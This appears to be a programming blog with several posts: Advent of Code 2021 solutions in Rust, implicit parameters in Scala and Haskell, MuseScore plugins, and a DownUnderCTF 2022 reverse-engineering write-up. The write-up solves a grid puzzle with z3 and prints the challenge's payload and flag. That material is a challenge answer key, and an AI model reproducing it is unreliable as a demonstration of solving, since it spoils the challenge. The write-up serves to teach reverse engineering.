- $C$ on → $|A \cup B \cup C|$ points.
- $C$ off → Again, we subtract the intersection. $|A \cup B| - |(A \cup B) \cap C| = |A \cup B \cup C| - |C|$ points.
$B$ off: $|A \cup B| - |B|$.
- $C$ on → We want to add $|C|$, but suppose the points were already counted? We would need to subtract the double-counted points by considering the intersection of the new set $C$ and original points. We thus have—brace yourself—three new terms: $- |(A \cup B) \cap C|$, $+ |B \cap C|$, and $+ |C|$.
  
  $$ \underbrace{|A \cup B| - |B|}_{\text{original sets}} - \underbrace{|(A \cup B) \cap C| + |B \cap C|}_{\text{subtract double-counted}} + |C|. $$
  
  Regrouping and simplifying, we get
  
  $$ \begin{align*} &|A \cup B| + |C| - |(A \cup B) \cap C| - |B| + |B \cap C| \\ &= \underbrace{|A \cup B \cup C| - |B \cup C|}_{\text{original sets unioned with } C} + \underbrace{|C|}_{\text{new}}. \end{align*} $$
  
  Notice how we started off from $|A \cup B| - |B|$, and now we've simply extended them with $\cup\ C$ and added a $|C|$ term.
  
  This is actually similar to what we did when turning $B$ off the first time! We originally had $|A|$, then introduced $\cup\ B$, and subtracted $|B|$ so that we don’t count anything from $B$. We subtracted $|B|$ then, since we were turning $B$ off, but now we add $|C|$ since we’re turning $C$ on.
  
  Finally, let’s see what happens for the $A$ on, $B$ off, $C$ off case.
- $C$ off → We can think of this as similar to the $B$ off $C$ on path above, except we don’t add the $|C|$ term. So we just have two terms:
  
  $$ \begin{align*} &\underbrace{|A \cup B \cup C| - |B \cup C| + |C|}_{\text{same as } B \text{ off, } C \text{ on}} - \underbrace{|C|}_{\text{new}} \\ &= |A \cup B \cup C| - |B \cup C|. \end{align*} $$

Moreover, we add a new term each time we change between on and off. We see this above in when going from $A$ on to $B$ off, from $B$ on to $C$ off, and $B$ off to $C$ on. Each time it’s one new term, and it’s the opposite sign of the previous term. It goes without saying, that this can be generalised.

Can we build it? Yes, we can!

Moving on to practical matters… how do we code this? We’ll separate the logic into two stages: one for building a set expression, the other for evaluating the expression.

Taking a lesson from functional programming, let’s discuss data and representation first. We can represent a union as a vector of cuboids: Vec<Cuboid>. But a cuboid is six integers, and the sets in our union all come from the input. So we can actually use a vector of indices instead: Vec<usize>. We’ll wrap these vectors in another container to represent our alternating union (this means every second term subtracts). I went for LinkedList for performance, but Vec should work as well.

Let’s build our set expression then:

let mut alternating_unions: LinkedList<Vec<usize>> = LinkedList::new();
let lookup = cmds.iter().map(|&Command(_, c)| c).collect::<Vec<_>>();
for (i, &Command(on, _)) in cmds.iter().enumerate() {
    for v in alternating_unions.iter_mut() {
        v.push(i); // Push the current tag.
    }
    if (alternating_unions.len() % 2 == 0) == on {
        // A new union term is added if "on" and even, or "off" and odd.
        let mut v = vec![i];
        v.reserve(cmds.len() - i); // Smol optimisation.
        alternating_unions.push_back(v);
    }
}

Evaluating the union is simply a matter of taking the set of unions, applying the inclusion-exclusion and generating a DFS tree with pruning. Those are some pretty big words. Let’s unpack it a bit.

What the heck is the Inclusion-Exclusion Principle?

Given two sets $A$ and $B$, we can compute the union through $|A \cup B| = |A| + |B| - |A \cap B|$. The idea is that we add $A$ and $B$; but since we double-counted the overlapping region ($A \cap B$), we subtract it once to balance things out. It turns out this principle can be generalised for any number of sets.

Take a look at the diagram and convince yourself that for three sets, we have

$$ \begin{align*} |A\nobreak\cup\nobreak B\nobreak\cup\nobreak C| = &|A| + |B| + |C| \\ &- |A \cap B| - |A \cap C| - |B \cap C| \\ &+ |A \cap B \cap C|. \end{align*} $$

The inclusion-exclusion principle extends this idea to $n$ sets by including (adding) sets and excluding (subtracting) sets. The general formula for $n$ sets is

$$ \left| \bigcup_{i=0}^n A_i \right| = \sum_{k=1}^n (-1)^{k+1} \left( \sum_{1 \le i_1 < \cdots < i_k \le n} |A_{i_1} \cap \cdots \cap A_{i_k}| \right). $$

The Inclusion-Exclusion Principle as DFS

Earlier I mentioned DFS with pruning. Why DFS?

Here’s a DFS tree for computing $|A \cup B \cup C|$:

A u B u C
|-- A
|   |-- A n B
|   |   |-- A n B n C
|   |
|   |-- A n C
|
|-- B
|   |-- B n C
|
|-- C

Can we parallelise this? Probably. But let’s leave that for another time.

Now what if two sets are disjoint? Suppose $A = ((0, 10), (0, 10), (0, 10))$ and $B = ((100, 200), (0, 10), (0, 10))$. These two sets have nothing in common, i.e. $A \cap B = \varnothing$. It follows that $A \cap B \cap C = \varnothing$. Thus, once we know a set has no intersection, we don’t need to further explore its branches. This is the pruning part of the DFS.

// @brief   Computes the number of points in a cuboid.
// @return  Number of points in a cuboid.
fn eval_cuboid(((x1, x2), (y1, y2), (z1, z2)): &Cuboid) -> u64 { ... }

// @brief   Computes the intersection of a cuboid.
// @return  Some(Cuboid) if the intersection exists, None otherwise.
fn intersect((x1, y1, z1): &Cuboid, (x2, y2, z2): &Cuboid) -> Option<Cuboid> { ... }

// @brief    Finds the intersection between two ranges.
// @return   Some((cube_t, cube_t)) if an intersection exists, None if there is no intersection.
fn range_intersect(&(a1, a2): &(cube_t, cube_t), &(b1, b2): &(cube_t, cube_t)) -> Option<(cube_t, cube_t)> { ... }

// @brief    eval_union computes the number of points in the union of sets `u`.
//
// @param    lookup: A lookup table of cuboids. Our sets will be represented as an array of indices (storing one i32 instead of six i32's).
// @param    add: Whether the current iteration adds or subtracts the union.
// @param    int: The current intersected cuboid.
// @param    u: The set of cuboids in the current union.
fn eval_union(lookup: &Vec<Cuboid>, add: bool, int: Cuboid, u: &[usize]) -> i64 {
    u.iter()
        .enumerate()
        .map(|(i, &tag)| match intersect(&int, &lookup[tag]) {
            Some(next_int) => {
                let v = eval_cuboid(&next_int) as i64;
                let rest = eval_union(lookup, !add, next_int, &u[i + 1..]);
                if add {
                    rest + v
                } else {
                    rest - v
                }
            }
            // No intersection. No need to evaluate deeper, since any intersection with the empty set will just be the empty set.
            None => 0,
        })
        .sum::<i64>()
}

let scope = ((-200000, 200000), (-200000, 200000), (-200000, 200000));
alternating_unions
    .iter()
    .enumerate()
    .map(|(i, u)| eval_union(&lookup, i % 2 == 0, scope, &u[..]))
    .sum::<i64>()

Final Remarks

This was one of the more challenging (but also rewarding!) Advent of Code challenges this year. Some others propose a cuboid-slicing method as opposed to set theory. However, I find this approach difficult to grasp and plan. Moreover, cuboid-slicing appears more difficult to generalise into higher dimensions, whereas with the set theoretic approach you pretty much just need to change the data types and intersect functions.

Anyway, let’s end on a pedagogical note. Here are some exercises for the reader:

The set expression we built above contains some redundant information. What is redundant, and how can we optimise it?
In the code above, we initialised our search with a scope.
```
let scope = ((-200000, 200000), (-200000, 200000), (-200000, 200000));
```
Rust
Points outside the scope won’t be considered. Rewrite the evaluation logic so that a scope doesn’t need to be specified.
In this post, we used a union-based approach, i.e. storing an alternating set of unions, then computing it by applying the inclusion-exclusion principle. Try rewriting the algorithm into an intersection-based approach. Instead of storing unions, store sets of intersections.
- What are the computation differences?
- Compare the two algorithms. Under what circumstances are one better?

Full Script

For completeness, here's the full d22.rs script.

Implicit Parameters in Scala and Haskell

2022-10-15T00:00:00Z

Do not say a little in many words, but a great deal in a few.
– Pythagoras

What the heck are implicit parameters?

In software engineering, the Don’t Repeat Yourself principle is one of the foundations of writing modular programs. Implicit parameters (implicits, for short) are one of those language features which hide repetitive code so that developers can focus on the more important aspects of logic. Not all programming languages have implicit parameters; but those that do provide an extra mechanism to deal with repetitive code.

Both Scala and Haskell have the notion of implicit parameters. In Scala, it’s a built-in feature; whereas in Haskell, it’s a language extension. An even more important distinction is that in Scala, implicit variables bind by type, whereas in Haskell, they bind by name. We'll take a look at these in more detail.

Examples

...in Scala

Let's take a look at what implicit parameters look like in Scala.

// Example of using implicit.
def func(x: Int)(implicit s: String) =
  println(s"string: $s;  int: $x")

// Helper function to run a bunch of SQL statements and return the dataframe results.
def runBatch(sqls: Seq[String])(implicit spark: SparkSession): Dataframe =
  sqls map spark.sql

def main = {
  implicit val str: String = "abc" // Mark variable with the implicit keyword.
  // implicit val str2: String = "def" // Conflict! Two possible implicits of the same type. Error will occur.

  // Notice str is passed implicitly!
  func(1)  // string: abc;  int: 1
  func(42) // string: abc;  int: 42
  func(1)(str) // Same as above.
  func(42)(str)

  // Create a SparkSession object and mark it as implicit.
  implicit val spark: SparkSession = SparkSession.builder.master("local").getOrCreate
  val dfs = runBatch(Seq(
    "SELECT 1",
    "SELECT 2",
  )) // `spark` passed implicitly.
}

^(Demo)

As shown above, implicit params are coded by introducing a new set of parameters (in fact, this is how currying is achieved in Scala). In Scala, implicit variables require the implicit keyword. This serves as a flag to the compiler saying “this variable can be passed to functions with implicit parameters”. (Well, not exactly, but you get the idea.)

This is pretty useful for variables that have a single instance in any context and act like a global variable. In the Spark framework, a SparkSession is used to configure spark options, memory usage, and more. After configuration, we still want to hold onto the returned object in order to call functions such as spark.sql. Typically, we would only have one SparkSession in an application, so it makes sense to pass it to helper functions implicitly.

One gotcha is that Scala searches the calling context for implicit parameters of a matching type. The variable name does not matter. Scala implicits are actually a tad more complicated (and much more powerful as a result), so my example here doesn’t do it justice.

...in Haskell

Haskell’s implicit parameters are different. Here’s an example:

{-# LANGUAGE ImplicitParams #-} -- Enable the implicit parameters language extension.

import Data.Function (on)

-- Declare a generic sort function which takes a comparator.
sortBy :: (a -> a -> Ordering) -> [a] -> [a]
sortBy _ [] = []
sortBy cmp (p:xs) = -- Quickly hacked quick sort.
    sortBy cmp (filter ((== GT) . cmp p) xs) 
    ++ [p] 
    ++ sortBy cmp (filter ((/= GT) . cmp p) xs) 

-- Declare a sort function to sort a list.
sort :: (?cmp :: a -> a -> Ordering) => [a] -> [a]
sort = sortBy ?cmp

main :: IO ()
main = do
    let xs = [(1, 42), (5, 8), (10, 4), (3, 14), (15, 92)]
    let ?cmp = compare `on` fst -- Haskell idiom for constructing comparators.
    
    -- All equivalent: [(1,42),(3,14),(5,8),(10,4),(15,92)]
    print $ sortBy (compare `on` fst) xs    -- Explicit.
    print $ sortBy ?cmp xs                  -- Explicit.
    print $ sort xs                         -- Implicit.
    
    -- Change comparator. [(15,92),(1,42),(3,14),(5,8),(10,4)]
    let ?cmp = compare `on` (negate . snd)
    print $ sortBy ?cmp xs                  -- Explicit.
    print $ sort xs                         -- Implicit.
    
    let ?cmp2 = compare `on` snd
    print $ sortBy ?cmp2 xs
    print $ sort xs -- Which one is implicitly passed? `cmp` or `cmp2`? :)
    
    return ()

^(Demo)

Note that implicit variables in Haskell need to be indicated with a question mark, similar to the implicit keyword in Scala. ?cmp is an implicit variable, but cmp isn’t. However, unlike Scala, the implicit parameters here are specified in the function’s type signature. And not just that, it’s written in the function’s type constraints.

In Haskell, functions type signatures are placed on a separate line. For example, sortBy has the signature (a -> a -> Ordering) -> [a] -> [a], meaning it takes a function (in this case, a comparator) which itself takes two generic a's, a list of a's, and returns a list of a's. (This is not what actually happens under the hood, but it’s good enough for now.) On the other hand, sort's type signature looks a little different:

sort :: (?cmp :: a -> a -> Ordering) => [a] -> [a]

In a Haskell type signature, stuff on the left of => are type constraints; here we have ?cmp :: a -> a -> Ordering. Although somewhat unintuitive, this leverages Haskell’s existing type system so that implicit parameters are automatically propagated. So if another function calls sort without a ?cmp, then that function will also have ?cmp :: a -> a -> Ordering in its type constraint!

On a different note, an important distinction is that instead of searching for variables with a matching type (as in Scala), Haskell searches for variables with the same name. In a way, this behaves like C/C++ macros, but with type safety. Compare the Haskell example to the following C++ example.

...in C++

#include <algorithm>
#include <iostream>
#include <vector>

using namespace std; // Bad practice, but just to keep things readable.

// Generic sort with comparator.
template <typename F, typename T>
T sortBy(F cmp, T xs) {
    sort(xs.begin(), xs.end(), cmp);
    return xs;
};

// Sort with implicit comparator. We name it with an underscore to avoid confusion with std::sort.
// Note how `xs` is substituted with the parameter, but `cmp` is "implicitly" used.
#define sort_(xs) sortBy(cmp, xs)

// Helper function.
void print(const vector<pair<int, int>>& xs) {
    for (const auto& [a, b] : xs)
        cout << " (" << a << ", " << b << ")";
    cout << "\n";
};

int main() {
    auto xs = vector<pair<int, int>>{ {1, 42}, {5, 8}, {10, 4}, {3, 14}, {15, 92} };
    
    { //  (1, 42) (3, 14) (5, 8) (10, 4) (15, 92)
        auto cmp = [](auto pa, auto pb) { return pa.first < pb.first; };
        print(sortBy(cmp, xs));
        print(sort_(xs)); // Expanded to `print(sortBy(cmp, xs));`.
    }
     
    { //  (15, 92) (1, 42) (3, 14) (5, 8) (10, 4)
        auto cmp = [](auto pa, auto pb) { return pa.second > pb.second; };
        print(sort_(xs)); // Same expansion happens here.
    }
}

^(Demo)

This example irks me since it uses macros, so it's a bit hacky... too hacky for my tastes.

Abuse of Implicits

Although implicit params remove the need to explicitly state params, there is also the danger of hiding too much. This may lead to code being harder to trace and debug, and hence may cause confusion among team members.

The similarity with natural languages is striking. Sometimes ambiguity may arise when people conversing don’t have sufficient context. Or misunderstanding may arise when people come from different cultures.

Coming back to software engineering, implicits are best reserved for extremely common variables and unique types. Think twice before slapping implicit or a question mark in your code. You’ll thank yourself later.

Further Reading:

Tour of Book: Implicit Parameters
Where does Scala look for implicits?
GHC Language Extensions: Implicit Parameters
Implicit Parameters: Dynamic Scoping with Static Types: Basis for implicit params in Haskell. Good academic foundation and examples.

DownUnderCTF 2022 – ezpz-rev

2022-09-28T00:00:00Z

This was a fun little break from all the school work piling up. School is tiring, just like something else...

Challenge Description

CTFing is tiring. Take a break with this easy puzzle!

Note: The binary and server in this challenge are the same as "ezpz-pwn".

The description is rather terse. But it seems like the same binary is used for two challenges.

The binary is available on the DownUnderCTF repository. If you want to have a stab at the challenge, go for it!

Writeup

As with all reverse challenges, let’s first throw the executable into a decompiler and see what crops up. I'll be using Ghidra, a free open-source decompiler perfect for ezpz challenges.

Navigating to main, we see a function call, a gets (for reading user input), and a chain of four if-statements barring our way to some statements which print out the contents of flag-rev.txt (presumably the flag for this reverse challenge).

The most important functions to crack are the four guarding the file read. But we’ll take a look at the initialisation procedures first since they provide some helpful context towards understanding the program. Along the way, we’ll incrementally build a z3 logic solver to emulate/reverse each function.

Initialisation

The first initialisation function modifies some options for the stdin/stdout buffers. Pretty standard C-style CTF stuff. The second initialisation function is much more interesting. Here’s a screenshot of the decompiled program:

Decompilers are great and all, but the lack of useful variable names, comments, and readability can be a pain. Here’s a cleaned up version:

char* init_run_length_encoded(char* initcode) {
    char* data = malloc(0xc4);
    int ind = 0;    // Index used to insert into data. Serves the dual purpose of tracking the size of the data.
    for (int i = 0; initcode[i]; i += 2) {
        int length = initcode[i] - '0'; // Convert digit (char) to int.
        char c = initcode[i+1]; // Character to fill.
        
        // Unpack run-length atom into `data`.
        while (length--) {
            data[ind++] = c;
        }
    }
    return data;
}

In effect, the function initialises an array of chars by decoding a run-length encoded string. For example, the string 5a4b3c2d gets expanded to aaaaabbbbcccdd. Of course, the encoded string used is much longer, and it turns out that it fills all 196 (0xc4) chars allocated. There are a few more things I’d like to point out:

196 (0xc4) is a number that pops up a lot in this binary.
Although typical run-length encoded strings may have more than 9 digits packed together (e.g. 12c13e42f), the implementation above assumes a run-length of at most 9 (i.e. one digit).
Interestingly, the characters encoded only range from a to n. We’ll see how these come into play later on.

We can begin writing our solve script! Let’s perform this initialisation and decode the string into a chars variable.

encoded = '5a4b3c2d5a4b4c1d2a1e3a3b4c1d2a1e1f2a3b3c1g1d3e5f1b2c2g1d1f2e4f6g1d7f3h3g1d4f6h3g1d2f1i4j1h2k2l1m1d3i2j5k2l2m2i3j4k3l2m2i3j4k3l2m1i5j2k2n2l2m1i4j5n4l'
chars = ''
for i in range(len(encoded) // 2):
    skip, char = encoded[2*i], encoded[2*i+1]   # Select pair of characters.
    chars += int(skip) * char                   # Unpack run-length atom.

assert len(chars) == 0xc4

The First and Second Guards: Move Along Now, Nothing to See Here

If the initialisation procedures are the appetiser, then the four guards are the main course.

I’ll be using the term guards and tests interchangeably. Guards are a term I’m borrowing from CS and functional programming. It’s basically an elevated if-statement.

Each guard checks if the input satisfies some condition. If the condition passes, the guard function returns 1, else 0. To get to the delicious dessert (the flag :P), we want all four functions to return 1.

Easier said than done. Let’s start with the first function and see what it decompiles into.

Here’s a more readable version:

int test1(char* input) {
    for (int start = 0; start < 196; start += 14) {
        int count = 0;
        for (int i = 0; i < 14; i++) {
            if (input[start + i] == '1')
                count++;
        }
        if (count != 3) {
            return 0;
        }
    }
    return 1;
}

Essentially, it groups input into blocks of 14 chars; then it checks if the number of '1's in each block is exactly three. If any check is false, then the function returns 0, meaning we have failed miserably.

We can easily model this symbolically in z3. We’ll first create 196 symbols, each representing one character in input. Then, we'll create a z3 solver object: this is our interface to z3’s automagical solver. Through the solver, we can add constraints, remove constraints, generate concrete values, etc.

# Create a bunch of symbols.
inputs = [z3.Int(f'g_{i}') for i in range(196)]

# Create a constraint solver object.
s = z3.Solver()

# Constrain possible input. We just care about the 1s, really.
for sym in inputs:
    s.add(z3.Or(sym == 0, sym == 1))

size = 14

# Constraint 1: row-wise constraint.
for i in range(size):
    s.add(z3.Sum(inputs[size*i:size*(i+1)]) == 3)

Our simplest constraint is our input constraint. For this program, we’ll limit our symbols to take on only 0s and 1s. Why? Because it is easy for z3 to sum integer symbols. This way, if we want to count the number of 1s in a list, we can just call z3.Sum on it.

We then add the constraints of the first guard by selecting groups of 14 elements using Python’s slice notation inputs[size*i:size*(i+1)] and constrain it to 3.

Nifty! Let’s see what the second function looks like.

This looks surprisingly similar to the first test. In fact, the only thing that really changed is the order of the loops. Observe how the first function moves along the grid in a row-major fashion, whereas the second function moves in a column-major fashion.

It may begin to dawn on you that the nested loops are hinting at a grid-like structure, a 14-by-14 2D array of characters. This realisation is pretty crucial, as it’ll help us reverse our last two functions much faster.

Let’s add these constraints to our solve script:

# Constraint 2: col-wise constraint.
for i in range(size):
    s.add(z3.Sum(inputs[i::size]) == 3)

inputs[i::size] is Python slice notation to iterate beginning from i and picking every size elements, e.g. [*range(10)][1::3] == [1, 4, 7].

Onto the next function!

The Third Guard: Please Wear Your Mask

Using our vectorised 1D representation, we can simplify the above to:

int test3(char* chars, char* input) {
    int counter[14] = {0};
    // Mask and count characters.
    for (int i = 0; i < 196; i += 1) {
        if (input[i] == '1') {
            counter[chars[i] - 'a']++;  // Increment the count of `chars[i]`.
        }
    }
    // Bad bad if a letter doesn't appear exactly thrice.
    for (int i = 0; i < 14; i++) {
        if (counter[i] != 3) {
            return 0;
        }
    }
    return 1;
}

This initialises an array of 14 integers that serve as counters. This is followed by two loops. In the first loop, we mask the input and initialised characters, then count the number occurrences of each character. In the second loop, we simply check that all counters equal 3, meaning each letter appears exactly three times in the masked string.

By “mask”, I mean something like bitwise-and, but for characters. For example, abcdefg masked with 1011001 would be a cd g, as only those four letters have 1 associated with them. Alternatively, you can think of the 0s as masks hiding letters from sight, just like how face masks hide mouths.

This is the first of the four functions which actually combines both the user input and the character grid used in initialisation. The previous two functions performed checks only on the user input, but now we begin to see how the two relate.

Also recall that the letters initialised range from a to n, and in fact n is the 14th letter of the alphabet. 14 rows, 14 columns, 14 letters, checking if everything equals 3… seems a little sus. Maybe the challenge authors are hinting at the number 42, the answer to life and everything in the universe? Is this the true reverse behind this challenge?

Anyway, let’s try to add these constraints to z3. In proper reverse fashion, instead of first checking the user input like the original function, we’ll start with the letters. We’ll collect the indices containing a letter (say 'a'), then collect all the input symbols associated with those indices, sum them, and constrain them to three.

# Constraint 3: mask constraint.
letters = 'abcdefghijklmn'
for l in letters:
    # Find all indices in chars which have letter `l`, then sum the corresponding Int symbols from `inputs`.
    indices = [i for i, c in enumerate(chars) if c == l]
    s.add(z3.Sum([inputs[i] for i in indices]) == 3)

Great! Three down, one to go.

The Fourth Guard: Wonky Jumps and Guesswork

Here's a snippet of the fourth guard:

The first half is understandable... But the rest... Hoh! What an eye sore! What’s the jump doin— I can’t even— ugnahfpwifhlqufjcjwalfhwowjrvkaufjwp.

As far as my monkey brain understands, the function iterates through every grid cell, and if it equals 1, performs some complicated check in an inner loop. At this point, I tried to understand what the inner loop was doing. Not much success. Looking at the decompiled output, keep in mind that 0xfffffff1 is only the unsigned interpretation. There is also the signed interpretation, which in this case is -15.

I then trained my eyes on the other "magic constants" in the inner loop and focused all my reverse powers by staring the numbers down. -1, -15, -14, -13, 1, 15, 14, 13. Hmm…

Ooh! Perhaps it’s checking adjacent cells orthodiagonally (i.e. orthogonal + diagonal)? If you’ve implemented a Minesweeper game before, you’ll know where I’m going :P. Indexing i - 14 would pick the cell above cell i, since each row is 14 cells wide. Similarly, i + 14 would pick the cell below. i + 15 would pick the bottom-right cell, and i - 1 would pick the left cell. Interesting!

The other complicated checks, I presume, are out-of-bound checks. For example, if we’re at i == 0 (the top-left corner), then the only adjacent cells are i + 1, i + 14, and i + 15. Anything else would go outside the array. After guessing this, I didn’t bother figuring out whether the decompiled loops actually follow this logic. ~~Terrible software engineering practice, but eh, we’re playing reverse, so might as well try it.~~

To the solver! For each symbol, we’ll add constraints saying, “If this cell is 1, its surrounding cells can’t be 1.” We’ll use z3.Implies to encode this logic. We only consider cells orthodiagonal to the current cell and within grid bounds.

# Constraint 4: check orthodiagonal adjacents.
for index, sym in enumerate(inputs):
    x = index % size
    y = index // size

    # Build list of adjacent indices. Bounds checking mania.
    orthodiag = []
    if y > 0:
        orthodiag += [-14]
        if x > 0:
            orthodiag += [-15]
        if x < size - 1:
            orthodiag += [-13]
    if y < size - 1:
        orthodiag += [14]
        if x > 0:
            orthodiag += [13]
        if x < size - 1:
            orthodiag += [15]
    if x > 0:
        orthodiag += [-1]
    if x < size - 1:
        orthodiag += [1]
    
    # If this cell is 1 --> surrounding cells can't be one.
    for od in orthodiag:
        s.add(z3.Implies(sym == 1, inputs[index + od] != 1))

And with that, we’ve defeated the four guards! Huzzah!

The Final Touch

All that’s left is to let z3 solve our constraints and generate concrete values for our symbols. We’ll push these concrete values into a payload variable and print it out.

# Construct payload.
payload = ''
m = s.model()
for sym in inputs:
    payload += str(m.eval(sym).as_long())

print(payload)
# 0101000000001000000101010000101000000001000000000101000110100000000100000010101000000100000000100100001010100000001000000010101000101000000000000000101010010101000000000000000001010100010101000000

We obtained a z3 model from the solver by calling s.model() and evaluated our symbols to produce concrete integer 1s and 0s by calling m.eval(sym).as_long().

After feeding this to the server, we obtain the flag. Yippee!

For an “easy” challenge, I definitely spent too much time on this. I wasted some time switching between a pure z3 logic solver and a full-blown angr solver, finding out angr was taking too long, and spamming Ctrl+Z. I could’ve spent this time sleeping instead. 😕

One of the difficulties of reverse is trying to understand both the high-level aspects and low-level aspects. Sometimes skimming through the program structure helps. Other times, getting deep into the nitty-gritty aspects may help us recognise some familiar elements. This challenge was a fun little exercise to practice these two approaches.

Solve Script

Flag

Payload

0101000000001000000101010000101000000001000000000101000110100000000100000010101000000100000000100100001010100000001000000010101000101000000000000000101010010101000000000000000001010100010101000000

Flag

DUCTF{gr1d_puzzl3s_ar3_t00_ez_r1ght?}

MuseScore Navigation Plugins

2022-09-10T00:00:00Z

MuseScore, a music notation desktop application, allows mini-extensions through its QML Plugins. MuseScore is built with the Qt framework and leverages the QML ecosystem for rapid prototyping and user-developed plugins.

QML is a fun language to work with. Generally, the UI is coded in a declarative style and the logic is coded in JavaScript. This, of course, has the downside of losing the static type-checking of C++; so I would often be in the situation where I need to reload and fix things several times before getting it functioning properly.

But the freedom and “I don’t care whether your types are correct” attitude of JS were quite nostalgic. Having played with QML/JS before, I decided I wanted to write some MuseScore plugins for fun ~~and also because I felt a need for them~~.

In this post, I’ll introduce my first set of MuseScore plugins and give a brief developer’s account of them. These plugins aren’t really related to music. Rather, they’re inspired by VSCode plugins and features which I find useful. In a way, the plugins below make MuseScore more of a developer’s second home.

todo-list

An update has been published for MuseScore 4.1+. Please refer to the new release.

View the project on: MuseScore / GitHub.

In software development, to-dos are commonly added into source code as reminders to the poor developers toiling away writing code. To-dos come in many forms: bugs to be fixed, issues to be resolved, feature requests, etc.

Sometimes when composing, I find myself lost in a sea of to-dos. During a composing session, I might drop a to-do note to follow-up on it next time.

Here are some examples of to-dos I might encounter while composing:

TODO: Explore different chord progressions for this transition.
TODO: More brass to this section.
FIXME: Playback sounds wonky.
TODO: Revise counterpoint.
TODO: Add bowing articulation to strings.

To allow for different to-do styles and text, I provided several settings for the user to modify. These are listed in on the GitHub readme.

Developer’s Note

This plugin is inspired by the todo-tree plugin in VSCode, which searches files in the current workspace for TODOs/FIXMEs and lists them in a tree view. I toyed with idea of replicating this on MuseScore—listing to-dos on all open scores—but eventually decided to embrace the KISS principle and just list to-dos for the current score.

When starting, I took reference of jeetee’s annotation plugin. I noticed jeetee used Qt Quick Controls 1.0 instead of 2.0 used in some other plugins. Apparently, QML had made some drastic changes to the styling of controls (buttons, checkboxes, etc.). In 1.0, controls used the native style (e.g. Apple’s aqua style for macs). On the other hand, 2.0 controls require developers to customise styling; this may sound great for design flexibility, but in my experience it’s annoying to get it working with both light and dark themes.

^{Qt Quick Controls 1.0 vs 2.0. The latter comes with barely any default and takes more effort to properly set up.}

Implementation-wise, the todo-list plugin aims to be self-contained and simple. Self-contained, meaning that everything is in a single .qml file, so that the user doesn’t need to bother with structure too much. Simple, meaning that it doesn’t store too much metadata. The plugin only stores the configuration options mentioned above. I avoid storing data such as measure and staff—which are alike the x and y position in a score—because things get messy when the stored to-do is displaced, e.g. when a user inserts a bunch of measures or removes an instrument.

Even though I’ve used Qt before, I was still surprised with how easy it was to set up a form dialog to configure user settings. Just slap together a Dialog, GridLayout, several Labels and TextFields, code the logic, and violà—we have our settings dialog.

History

View the project on: MuseScore / GitHub.

This plugin keeps track of where your cursor has been so that you can easily jump back and forth between different points in time (effectively making you a time traveller!).

When programming in an IDE, it is sometimes necessary to jump to a different part of code, then jump back to where you were before. For example, you might want to check the implementation of a certain function.

Similarly, when editing a score one might wish to visit a section, perhaps copy something, then return to their previous position.

The History module comprises three separate plugins:

Go Back,
Go Forward, and
the UI.

The first two are action plugins—plugins without any visual component, and just run—whereas the third contains a simple UI. The need for a UI makes the module slightly inflexible for reasons explained below.

Developer’s Note

There are some limitations to this module, the root cause being the limited MuseScore plugin API.

For the plugins to work properly, the UI plugin must be activated at all times. This plugin is responsible for recording cursor positions, since MuseScore does not provide a way for plugins to record score/cursor information in the background. We could start a subprocess, keylog user input, and interpret it to determine where the cursor currently is… but this is of course out of the question, it’s much too tedious and not worth the effort.

Another drawback is that plugins can’t jump across scores. This is very convenient in IDEs when you have several files open and want to quickly check/copy something from a different file. In MuseScore however, this simply isn’t possible (as far as I could see). So for now, we’ll have to be content with keeping cursor history isolated within each score.

Bookmarks

View the project on: MuseScore / GitHub.

Marks down a section, saving it so that you can easily return to it later without the pain of scrolling.

This is really useful for large scores, where scrolling from front to middle to end can be pain. An existing built-in way to jump around sections is to use rehearsal marks plus MuseScore's timeline. However, I find this insufficient since a rehearsal mark only carries horizontal positioning info (measures), but not vertical positioning info (staffs).

The Bookmarks module comprises four plugins:

Go to Previous Bookmark,
Go to Next Bookmark,
Toggle Bookmark at Cursor, and
Clear All Bookmarks.

All of these are action plugins, so in my mind they’re fairly simple and straightforward.

Developer’s Note

This module was inspired by the VSCode bookmarks plugin. In VSCode, bookmarks allowed you to jump between bookmarks across files and long stretches of code. Sadly alike History, Bookmarks doesn’t jump across files.

Something else to note—and this applies to all my plugins here: currently, I use a rather hacky method to jump to the selected notes:

cmd("note-input")
cmd("note-input")

We call the command twice to toggle between the two different modes (default and note-input).

However, when jumping to a specific measure + staff, MuseScore will scroll to the correct measure, but not the staff. Logic-wise, nothing is affected since the correct measure + staff are selected. The problem is just a UI issue which the MuseScore Plugins API doesn’t have a solution for. 😢

For History and Bookmark, I decided to use separate JS files to hold all the logic. This promotes code reuse. For example, both History: Go Back and History: Go Forward use the same underlying function to iterate across the score.

I tried commenting my code cleanly, in case I need to come back to it later; I’m quite forgetful.

JavaScript’s lack of type checking really irks me. I’m toying with the idea of using TypeScript and compiling the file to JavaScript for testing. I’ve already set up a MakeFile for packaging (zipping) the files anyway, so might as well add a rule that compiles .ts into .js and gain type safety.

Epilogue

If you’ve read this far, then you’re probably aware that these plugins aren’t perfect. But most of these issues can't be trivially fixed due to limitations with the Plugin API.

In my development roadmap, I’ve planned several new (music-related!) plugins. As MuseScore 4 is coming out, I’ll also need to plan the maintenance of the above plugins.

If you’re interested in using the plugins or contributing, you can check the MuseScore or GitHub links below.

To-Do List: MuseScore / GitHub.

History + Bookmarks: MuseScore / GitHub.

Thanks for reading, and happy musing!

AOC 2021 Day 16 – Parser Combinator Fun

2022-08-23T00:00:00Z

This post is a writeup on solving the Advent of Code 2021 Day 16 challenge: Packet Decoder.

The Problem

We're given as input a string of hexadecimal characters (0 to F). Our mission? To translate those characters into an expression of packets (part 1) and to then evaluate it (part 2).

Before diving into code, we should first understand the format of the packets, what exactly we need to parse, and what we're looking for. The majority of this section is just me trying to summarise the problem without all the fluff. I'll skip over some things, but if you're confused, just read the full explanation on AOC.

To start off, we're given a bunch of hex characters:

D2FE28

To decode the packets, we first need to translate each character into binary (1s and 0s). The above hex string translates to:

110100101111111000101000

We can now begin parsing packets. There are two kinds of packets: literals and operators. There is also the notion of sub-packets, meaning a packet can be a child of another packet.

Literals. The format of literal packets is VVVTTT[AAAAA]+
- VVV: 3 bits for the version number.
- TTT: 3 bits for the packet's type ID. A literal packet will always have type ID 4. Any other type ID is an operator.
- [AAAAA]+: at least one group of 5 bits. The last group will start with a 1.
Operands. There are two types of operand packets, I'll just call them length-based operand packets and count-based operand packets.
- Length-based operands have format VVVTTTIL{15}....
  - VVV: as before, these are the 3 bits of version number.
  - TTT: 3 bits of type ID.
  - I: the length type ID. For length-based operands, this is 0.
  - L{15}: 15 bits indicating that the next L{15} (decimal) bits are sub-packets.
- Count-based operands follow VVVTTTIL{11}....
  - VVV, TTT: ditto.
